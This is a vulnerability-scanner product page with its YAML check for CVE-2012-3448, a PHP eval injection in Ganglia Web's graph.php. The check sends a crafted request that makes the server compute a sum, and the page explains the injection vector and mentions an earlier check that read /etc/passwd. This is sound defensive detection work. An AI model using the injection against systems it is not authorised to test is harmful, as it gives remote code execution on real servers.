Ganglia — 1 vulnerability check
noctis ships 1 vulnerability check for Ganglia, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Ganglia Web graph.php PHP code execution
| CVE | CVE-2012-3448 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/ganglia/CVE-2012-3448.yaml |
Detects the code injection in Ganglia Web before 3.5.1. graph.php takes the text after the first comma of the "g" parameter and appends it to a PHP eval() call that invokes the graph report function. The only filtering is escapeshellcmd(), which does not touch letters, digits, spaces or "+". The test requests /graph.php?g=cpu_report,print A+B with two random integers; the reply contains their sum, which the request does not contain. The code only prints a number; nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /graph.php?g=cpu_report,print%20{{sc.a}}%2B{{sc.b}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
vcalcfor^CODE_EXECUTED$→ finding QoD 97: Ganglia Web graph.php evaluates PHP code from the g parameter — CVE-2012-3448
References:
Feed source — tests/vulnerabilities/ganglia/CVE-2012-3448.yaml
# Ganglia Web < 3.5.1 — graph.php passes the part of the "g" parameter after the
# first comma to eval() as extra arguments of the report function
# (CVE-2012-3448). The only filter is escapeshellcmd(), which leaves letters,
# digits, spaces and "+" alone, so "g=cpu_report,print A+B" runs PHP code.
#
# Detection (benign, no write): GET /graph.php?g=cpu_report,print%20A%2BB with
# two random integers. PHP evaluates the sum and prints it into the reply; the
# request never contains the result, so seeing it proves the eval (QoD 97).
# The page is rendered as a graph, so the sum is read from the raw reply.
#
# Improvements over the source NASL (which includes /etc/passwd and greps
# "root:.*:0:0"): the proof is a computed value instead of a file read, so it
# works on hosts without that file (Windows) and does not depend on the
# include path; the proven reply never reaches the finding.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_ganglia_54699.nasl (GPL-2.0-only).
uid: b7048856-8d2c-4b0a-84a0-27531d749fc9
name: "Ganglia Web graph.php PHP code execution (CVE-2012-3448)"
description: |
Detects the code injection in Ganglia Web before 3.5.1. graph.php takes the
text after the first comma of the "g" parameter and appends it to a PHP
eval() call that invokes the graph report function. The only filtering is
escapeshellcmd(), which does not touch letters, digits, spaces or "+". The
test requests /graph.php?g=cpu_report,print A+B with two random integers;
the reply contains their sum, which the request does not contain. The code
only prints a number; nothing is written on the server.
cves: [CVE-2012-3448]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [ganglia, php, eval, code-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-3448"
- "https://www.securityfocus.com/bid/54699"
# OpenVAS/Greenbone NASL 2012/gb_ganglia_54699.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(10007, 99991);
let b = rand_int(10007, 99991);
#{ a: "" + a, b: "" + b, sum: "" + (a + b) }
store_as: sc
- id: init-calc
action: set_var
var_name: calc
var_value: {connected: false, banner: ""}
- id: run-calc
action: tcp_connect
port: "{{port}}"
send: "GET /graph.php?g=cpu_report,print%20{{sc.a}}%2B{{sc.b}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: calc
- id: verdict-calc
action: script
code: |
let v = "";
if type_of(calc.banner) == "string" && ereg("(^|[^0-9])" + sc.sum + "([^0-9]|$)", calc.banner) { v = "CODE_EXECUTED"; }
v
store_as: vcalc
- id: calc-confirmed
action: match
source: vcalc
pattern: '^CODE_EXECUTED$'
on_match:
finding:
title: "Ganglia Web graph.php evaluates PHP code from the g parameter — CVE-2012-3448"
description: "GET /graph.php?g=cpu_report,print {{sc.a}}+{{sc.b}} made PHP evaluate the injected expression and the reply contained {{sc.sum}}, which the request does not contain. A remote user can run arbitrary PHP code with the rights of the web server."
remediation: "Upgrade Ganglia Web to 3.5.1 or later, which no longer passes the g parameter to eval()."
confidence_delta: 0.65
qod: 97
evidence: "/graph.php?g=cpu_report,print {{sc.a}}+{{sc.b}} returned {{sc.sum}}"
stop: true